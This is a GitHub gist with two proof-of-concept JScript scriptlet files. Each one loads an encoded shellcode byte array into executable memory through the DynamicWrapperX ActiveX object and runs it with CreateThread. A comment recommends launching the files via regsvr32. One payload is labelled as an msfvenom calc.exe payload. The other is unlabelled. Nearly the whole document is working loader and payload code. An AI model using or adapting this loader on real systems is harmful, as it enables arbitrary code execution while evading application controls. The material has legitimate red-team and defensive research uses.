Create a gist now

Instantly share code, notes, and snippets.

@subTee /DynWrap.sct Secret
Last active Jun 4, 2017

What would you like to do?
Execute Shellcode Via .SCT Files - Perquisite Install DynamicWrapperX - http://www.script-coding.com/dynwrapx_eng.html
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<!-- Call with C:\Windows\Syswow64\regsvr32.exe - x86 only for now -->
<script language="JScript">
<![CDATA[
//C:\Windows\syswow64\cscript.exe
DX = new ActiveXObject("DynamicWrapperX"); // Create an object instance.
DX.Register("kernel32.dll", "VirtualAlloc", "i=luuu", "r=u");
var memLocation = DX.VirtualAlloc(0, 0x1000, 0x1000, 0x40 );
DX.Register("kernel32.dll", "GetCurrentProcess", "r=h");
var procHandle = DX.GetCurrentProcess();
var scLocation = DX.VirtualAlloc(0, 0x1000, 0x1000, 0x40 );
//WScript.Echo(scLocation.toString(16));
//DX.NumPut(0xcc,scLocation,0); //Loop Here To Write Array of Shellcode
//DX.NumPut(0x90,scLocation,1);
//msfvenom -p windows/exec -a x86 --platform win -e x86/shikata_ga_nai -f csharp CMD=calc.exe EXITFUNC=thread
var sc = [0xdd,0xc6,0xb8,0x50,0x6e,0xc4,0xe2,0xd9,0x74,0x24,0xf4,0x5b,0x2b,0xc9,0xb1,
0x31,0x31,0x43,0x18,0x83,0xc3,0x04,0x03,0x43,0x44,0x8c,0x31,0x1e,0x8c,0xd2,
0xba,0xdf,0x4c,0xb3,0x33,0x3a,0x7d,0xf3,0x20,0x4e,0x2d,0xc3,0x23,0x02,0xc1,
0xa8,0x66,0xb7,0x52,0xdc,0xae,0xb8,0xd3,0x6b,0x89,0xf7,0xe4,0xc0,0xe9,0x96,
0x66,0x1b,0x3e,0x79,0x57,0xd4,0x33,0x78,0x90,0x09,0xb9,0x28,0x49,0x45,0x6c,
0xdd,0xfe,0x13,0xad,0x56,0x4c,0xb5,0xb5,0x8b,0x04,0xb4,0x94,0x1d,0x1f,0xef,
0x36,0x9f,0xcc,0x9b,0x7e,0x87,0x11,0xa1,0xc9,0x3c,0xe1,0x5d,0xc8,0x94,0x38,
0x9d,0x67,0xd9,0xf5,0x6c,0x79,0x1d,0x31,0x8f,0x0c,0x57,0x42,0x32,0x17,0xac,
0x39,0xe8,0x92,0x37,0x99,0x7b,0x04,0x9c,0x18,0xaf,0xd3,0x57,0x16,0x04,0x97,
0x30,0x3a,0x9b,0x74,0x4b,0x46,0x10,0x7b,0x9c,0xcf,0x62,0x58,0x38,0x94,0x31,
0xc1,0x19,0x70,0x97,0xfe,0x7a,0xdb,0x48,0x5b,0xf0,0xf1,0x9d,0xd6,0x5b,0x9f,
0x60,0x64,0xe6,0xed,0x63,0x76,0xe9,0x41,0x0c,0x47,0x62,0x0e,0x4b,0x58,0xa1,
0x6b,0xb3,0xba,0x60,0x81,0x5c,0x63,0xe1,0x28,0x01,0x94,0xdf,0x6e,0x3c,0x17,
0xea,0x0e,0xbb,0x07,0x9f,0x0b,0x87,0x8f,0x73,0x61,0x98,0x65,0x74,0xd6,0x99,
0xaf,0x17,0xb9,0x09,0x33,0xf6,0x5c,0xaa,0xd6,0x06 ];
for(var i = 0; i < sc.length; i++)
{
DX.NumPut(sc[i],scLocation,i);
}
DX.Register("kernel32.dll","CreateThread","i=uullu","r=u" );
var thread = DX.CreateThread(0,0,scLocation,0,0);
DX.Register("kernel32.dll", "WaitForSingleObject", "i=uu", "r=u");
DX.WaitForSingleObject(thread,0xFFFFFFFF);
/*
DX.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l"); // Register a dll function.
res = DX.MessageBoxW(0, "ShellCode At " + memLocation.toString(16) , "Test", 4); // Call the function.
res = DX.MessageBoxW(0, "Handle Obtained " + procHandle.toString(16) , "Test", 4); // Call the function.
*/
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx
//https://msdn.microsoft.com/en-us/library/windows/desktop/ms683179(v=vs.85).aspx
//GetCurrentProcess
//https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx
//https://msdn.microsoft.com/en-us/library/windows/desktop/ms682453(v=vs.85).aspx
]]>
</script>
</registration>
</scriptlet>
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<!-- Call with C:\Windows\Syswow64\regsvr32.exe - x86 only for now -->
<script language="JScript">
<![CDATA[
//http://www.script-coding.com/dynwrapx_eng.html
//c:\Windows\SysWOW64\cscript.exe DynamicWrapper.js
DX = new ActiveXObject("DynamicWrapperX"); // Create an object instance.
DX.Register("kernel32.dll", "VirtualAlloc", "i=luuu", "r=u");
//var memLocation = DX.VirtualAlloc(0, 0x1000, 0x1000, 0x40 );
DX.Register("kernel32.dll", "GetCurrentProcess", "r=h");
var procHandle = DX.GetCurrentProcess();
var scLocation = DX.VirtualAlloc(0, 0x1000, 0x1000, 0x40 );
//WScript.Echo("Shellcode Will Be Loaded At " + scLocation.toString(16));
//DX.NumPut(0xcc,scLocation,0); //Loop Here To Write Array of Shellcode
//DX.NumPut(0x90,scLocation,1); //Debug Break, 0xcc, NOP, 0x90
//http://www.fuzzysecurity.com/tutorials/expDev/6.html
var sc = [0xb8,0xe0,0x20,0xa7,0x98,0xdb,0xd1,0xd9,0x74,0x24,0xf4,0x5a,0x29,0xc9,0xb1
,0x42,0x31,0x42,0x12,0x83,0xc2,0x04,0x03,0xa2,0x2e,0x45,0x6d,0xfb,0xc4,0x12
,0x57,0x8f,0x3e,0xd1,0x59,0xbd,0x8d,0x6e,0xab,0x88,0x96,0x1b,0xba,0x3a,0xdc
,0x6a,0x31,0xb1,0x94,0x8e,0xc2,0x83,0x50,0x24,0xaa,0x2b,0xea,0x0c,0x6b,0x64
,0xf4,0x05,0x78,0x23,0x05,0x37,0x81,0x32,0x65,0x3c,0x12,0x90,0x42,0xc9,0xae
,0xe4,0x01,0x99,0x18,0x6c,0x17,0xc8,0xd2,0xc6,0x0f,0x87,0xbf,0xf6,0x2e,0x7c
,0xdc,0xc2,0x79,0x09,0x17,0xa1,0x7b,0xe3,0x69,0x4a,0x4a,0x3b,0x75,0x18,0x29
,0x7b,0xf2,0x67,0xf3,0xb3,0xf6,0x66,0x34,0xa0,0xfd,0x53,0xc6,0x13,0xd6,0xd6
,0xd7,0xd7,0x7c,0x3c,0x19,0x03,0xe6,0xb7,0x15,0x98,0x6c,0x9d,0x39,0x1f,0x98
,0xaa,0x46,0x94,0x5f,0x44,0xcf,0xee,0x7b,0x88,0xb1,0x2d,0x31,0xb8,0x18,0x66
,0xbf,0x5d,0xd3,0x44,0xa8,0x13,0xaa,0x46,0xc5,0x79,0xdb,0xc8,0xea,0x82,0xe4
,0x7e,0x51,0x78,0xa0,0xff,0x82,0x62,0xa5,0x78,0x2e,0x46,0x18,0x6f,0xc1,0x79
,0x63,0x90,0x57,0xc0,0x94,0x07,0x04,0xa6,0x84,0x96,0xbc,0x05,0xf7,0x36,0x59
,0x01,0x82,0x35,0xc4,0xa3,0xe4,0xe6,0x22,0x49,0x7c,0xf0,0x7d,0xb2,0x2b,0xf9
,0x08,0x8e,0x84,0xba,0xa3,0xac,0x68,0x01,0x34,0xac,0x56,0x2b,0xd3,0xad,0x69
,0x34,0xdc,0x45,0xce,0xeb,0x03,0xb5,0x86,0x89,0x70,0x86,0x30,0x7f,0xac,0x60
,0xe0,0x5b,0x56,0xf9,0xfa,0xcc,0x0e,0xd9,0xdc,0x2c,0xc7,0x7b,0x72,0x55,0x36
,0x13,0xf8,0xcd,0x5d,0xc3,0x68,0x5e,0xf1,0x73,0x49,0x6f,0xc4,0xfb,0xc5,0xab
,0xda,0x72,0x34,0x82,0x30,0xd6,0xe4,0xb4,0xe6,0x29,0xda,0x06,0xc7,0x85,0x24
,0x3d,0xcf];
for(var i = 0; i < sc.length; i++)
{
DX.NumPut(sc[i],scLocation,i);
}
DX.Register("kernel32.dll","CreateThread","i=uullu","r=u" );
var thread = DX.CreateThread(0,0,scLocation,0,0);
DX.Register("kernel32.dll", "WaitForSingleObject", "i=uu", "r=u");
DX.WaitForSingleObject(thread,0xFFFFFFFF);
/*
DX.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l"); // Register a dll function.
res = DX.MessageBoxW(0, "ShellCode At " + memLocation.toString(16) , "Test", 4); // Call the function.
res = DX.MessageBoxW(0, "Handle Obtained " + procHandle.toString(16) , "Test", 4); // Call the function.
*/
//https://msdn.microsoft.com/en-us/library/windows/desktop/aa366887(v=vs.85).aspx
//https://msdn.microsoft.com/en-us/library/windows/desktop/ms683179(v=vs.85).aspx
//https://msdn.microsoft.com/en-us/library/windows/desktop/ms681674(v=vs.85).aspx
//https://msdn.microsoft.com/en-us/library/windows/desktop/ms682453(v=vs.85).aspx
//https://msdn.microsoft.com/en-us/library/windows/desktop/ms687032(v=vs.85).aspx
]]>
</script>
</registration>
</scriptlet>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment